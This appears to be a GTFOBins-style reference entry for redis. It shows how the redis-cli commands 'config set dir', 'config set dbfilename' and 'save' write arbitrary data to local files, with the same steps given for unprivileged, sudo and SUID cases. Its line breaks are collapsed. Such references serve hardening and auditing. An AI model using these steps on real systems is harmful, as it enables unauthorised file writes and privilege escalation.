redis
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
redis-cli -h 127.0.0.1config set dir /path/to/output-dir/config set dbfilename output-fileset x "DATA"saveThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.redis-cli -h 127.0.0.1config set dir /path/to/output-dir/config set dbfilename output-fileset x "DATA"saveThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.redis-cli -h 127.0.0.1config set dir /path/to/output-dir/config set dbfilename output-fileset x "DATA"save